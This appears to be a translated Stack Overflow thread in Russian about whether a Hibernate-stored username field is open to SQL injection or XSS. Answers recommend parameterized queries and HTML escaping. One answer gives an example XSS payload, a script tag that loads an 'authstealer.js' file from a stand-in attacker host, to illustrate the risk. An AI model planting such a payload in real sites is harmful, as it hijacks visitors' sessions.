У меня есть форма, где пользователи могут зарегистрироваться на моем сайте. Данные хранятся в POJO пользователя.

class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}

А затем сохранил в базе данных с помощью

org.hibernate.Session.persist(User)

Есть ли способ, которым злоумышленник может выполнить инъекцию sql или XSS в поле userName, загрязнить данные или провести любой другой тип атаки, и как мне защитить его?

Также может ли злоумышленник хранить операторы SQL или код JavaScript в типе данных, отличном от String?

0
AHAW 19 Окт 2017 в 19:06

3 ответа

Лучший ответ

Чистое использование hibernate, скажем, не делая безобразных вещей, безопасно. Так что нет SQL-инъекций .

Однако, если ввод HTML-формы не защищен от JavaScript, вы можете получить JS в тексте в базе данных.

При выводе этого текста нужно позаботиться о том, чтобы сделать escapeHTML = true. Тогда нет XSS .

В общем, не большая проблема, но помните о лени разработчиков на страницах администратора с дампами и тому подобным; эти страницы могут быть созданы более просто.

В других форматах: SVG (Scriptable Vector Format) - прекрасный масштабируемый формат XML для изображений, отображаемый на страницах HTML. Однако они могут содержать JavaScript для взаимодействия.

То же самое относится к загруженным форматам расширенного текста и электронной таблицы , которые иногда сохраняются в BLOB в базе данных.

0
Joop Eggen 19 Окт 2017 в 21:10

https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection

Всегда лучше проверять ввод данных. Поскольку данный объект относительно прост, он не должен быть проблемой для вас.

Также не создавайте свои запросы путем конкатенации строк и используйте Query.setParameter (), где это необходимо. Эти методы предназначены для предотвращения SQL-инъекций и устранят такие риски.

1
Max Alekseev 19 Окт 2017 в 20:11

Судя по тому, что вы опубликовали, это выглядит уязвимым для XSS. Что если я предоставлю следующую строку для моего имени пользователя:

Username<script src="http://myevilsite.com/authstealer.js">

Любой, кто увидит мое имя пользователя на сайте, запустит несколько js.

Возможно, вам следует отрыть ваш сайт.

1
Andreas 19 Окт 2017 в 21:04